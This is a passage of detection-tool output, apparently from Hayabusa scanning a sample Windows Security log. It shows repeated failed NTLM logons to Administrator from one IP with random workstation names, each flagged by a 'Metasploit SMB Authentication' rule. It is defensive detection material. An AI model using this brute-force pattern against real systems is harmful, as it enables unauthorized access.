Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JPoKjwanczELBC5A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.236 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.290 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QOYMVAnCWB2RFYAk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.290 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k1S45GBtQ8Uoyilw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.328 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.378 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 60oeDAnU41sz1wYg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.378 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: enjlrrdf6lrm7Bao : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.424 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 58WzO6wxh7QshZgS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.465 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.505 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7eZKzHgu5ADLYsWU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.505 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.548 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uOSK3xC1E5PpBVNM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.548 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.598 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vFXasYWGCHbQOWWI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.598 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4XlYJ3oHYKYhg0KC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.691 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LxOKwi8Q4y2mHBDu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.691 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xwFKFySH4w2yWtPX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.745 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.794 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OlwGTGadOEMfUFiM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.794 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.836 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hZ9WuMoOtxGdwOQn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.836 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cCLK0gWvRoz0Ceao : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.888 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZDrcOxtm2fHXK5pO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.936 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pm2tPGetcAJkSuvK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.976 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FBskiUSfF2ghuDcF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.016 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.050 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mZJal2nq3JAk6I2S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.050 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y9ek0Sl1ikhIfIb6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.093 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.141 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eHrn5Tp9JtnAgCbE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.141 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.197 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k7tR8gp2piqqixqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.197 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.245 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SqSBRMoiFeWe4FAt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.245 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nu4m1xKDU0OUkoR0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.297 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.354 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gui98cdQHPgyNOZI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.354 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.407 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bm4U7TAfsPTEiygC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.407 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fDOoaVWVFAMLiA71 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.457 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qiJeLgInEkHffefo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.497 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yWyguWQP2iYUArhD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.547 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.595 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vDa3GqsTMMXguFhi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.595 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Lr0lkAcdnji1zjW4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.645 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4WfNFd5MkQxaxHGP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.693 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.741 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j8hdPhtxP4Ds65yV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.741 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y2BBoWoXWXuRysTx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.793 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6GEhZ2BduHwjJj9H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GbwEHQCAUJd64LlA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.927 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.967 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wGfoObbN8ioefyce : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:02.967 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iLHhCgHvmOzoLLqG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.009 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.050 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v9KL69y47DMyFOWT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.050 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.098 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ECuVYiqdMw2dMjT6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.098 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.150 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YJCYumRekD7AREYQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.150 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0H4OxKzoemZrsosT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.196 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wSHnvxa0khWdWBVx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.238 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bJkPp0bghDCPYz52 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SfHRWGXjCej9HSPb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.333 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.383 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X42H7EvrvzsRqXWO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.383 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: moo42NdOq30Gnz3T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.432 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 